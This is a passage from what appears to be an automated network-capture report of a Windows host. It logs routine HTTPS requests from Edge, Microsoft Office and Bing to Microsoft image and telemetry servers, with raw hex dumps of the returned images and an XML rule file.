98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-20 13:43:50 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-20 13:43:50 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-20 13:43:50 UTC	15180	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49924	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:50 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 11:08:13 GMT X-Datacenter: northeu X-ActivityId: 01e23b13-0c41-4720-81b8-4b40bbbf8b50 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=336380 Expires: Sun, 24 Nov 2024 11:10:10 GMT Date: Wed, 20 Nov 2024 13:43:50 GMT Connection: close
2024-11-20 13:43:50 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 41 c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 Data Ascii: AV&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkV
2024-11-20 13:43:50 UTC	2148	IN	Data Raw: 39 c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a Data Ascii: 9M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-20 13:43:50 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-20 13:43:50 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:50 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134350Z-185f5d8b95cp7lkfhC1NYC7rpw0000000ahg0000000009r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49927	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:50 UTC	375	OUT	GET /th?id=OADD2.10239391389256_1SXED27HM56UOBU19&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 13:43:50 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 724693 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F360870141864A039A79D9280FE3A4FB Ref B: EWR30EDGE1021 Ref C: 2024-11-20T13:43:50Z Date: Wed, 20 Nov 2024 13:43:50 GMT Connection: close
2024-11-20 13:43:50 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 48 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 37 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 35 3a 32 31 20 30 38 3a 30 30 3a 35 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``HExifMM*bj(1r2i``Adobe Photoshop 25.7 (Windows)2024:05:21 08:00:568
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: a9 8e c2 61 2a 27 19 2e 6e a9 6a ff 00 ae c6 73 a1 2a 91 3e a6 68 d9 7e f5 2e c7 af 2f f0 ef c5 4d 33 4b b1 d0 ec 75 08 23 55 bc 76 8a e2 67 9d 57 64 87 07 76 54 91 d5 bf dd af 4b b7 d6 74 3b 8b ef b0 c3 a9 40 d7 5f 36 c8 77 fc cf 85 dd fc ab d8 a3 8c a1 59 27 09 5f fe 09 c0 e9 ce 2e cc c1 5b 7b 97 9f 77 f0 d5 85 81 9f fd 5c 7b aa 78 4e 63 dd fc 55 2d af fa cf 2d a4 f2 95 ab aa 35 2c 89 ab 47 9a 56 28 b4 4c bf 2b 53 7c ba ea 34 fd 1e ce 78 f7 2c 9e 6d 4d 36 89 17 97 b5 63 db 47 d7 a9 de c4 7f 66 55 6a e7 23 b2 9a d1 ff 00 7a b7 ee 34 36 5f bb 25 50 b8 b2 78 be f5 6d 1c 45 39 6c ce 5a 98 2a d4 f5 6b 43 3f cb a7 43 04 ed 22 79 3e 66 ea 9b 1b 6a da de ec d9 f2 6d a2 ac e4 96 8a e5 61 a9 c6 52 bc a5 66 8d 8b 34 d5 56 c5 36 c7 e6 af fb 15 0b 5c 5c ac 8e b2 24 Data Ascii: a'.njs>h~./M3Ku#UvgWdvTKt;@_6wY'_.[{w\{xNcU--5,GV(L+S\|4x,mM6cGfUj#z46_%PxmE9lZ*kC?C"y>fjmaRf4V6\\$
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: fd 33 a7 60 2a b4 7b 7e ed 39 62 67 ab 5e 4f f9 c5 3a 38 a9 14 55 5b 56 ff 00 9e 74 b3 69 ee b1 a6 df 9b fb f5 ab 6f 1b 2a 7c d4 ac db 6a 79 e5 7d 0a e5 8f 53 12 3b 65 5f f5 95 66 68 2d 22 fb be 63 35 59 64 dd 26 e6 a3 cb dd 55 7b 92 b4 23 b3 95 56 06 8e 48 e3 65 6a 65 e5 bc 11 7c d1 c9 ba ac ac 5f dd a5 68 b7 7d ea 9b 6b 72 ae da b3 29 da 96 5f bb 25 4c c3 7f cc df 7a a7 6b 78 bc bf 96 3f 9a a3 f2 5e 8b 5c 14 9a 2b a8 db f2 d3 7c ad d5 7a 38 f6 c7 fe ae a4 8d 76 d4 8b 98 ce fb 33 37 cb 48 b6 d2 af fc b3 fb b5 ad 4e 8f 77 dd a3 9a 43 d0 c9 58 9b f8 92 9d 0c 4c b5 a4 b1 ff 00 76 a4 5d cb 1d 4b 65 24 66 b2 6e fb d1 d2 2c 4b e6 7c d5 a5 b2 8f 2b fb b1 d0 51 9c d1 2f 99 f2 d4 b0 db ee 8e ae 79 3e d4 be 53 2f dd a1 bd 04 55 f2 17 f8 aa 4b 18 96 29 3c ca 95 a0 Data Ascii: 3`{~9bg^O:8U[Vtio\|jy}S;e_fh-"c5Yd&U{#VHeje\|_h}kr)_%Lzkx?^\+\|z8v37HNwCXLv]Ke$fn,K\|+Q/y>S/UK)<
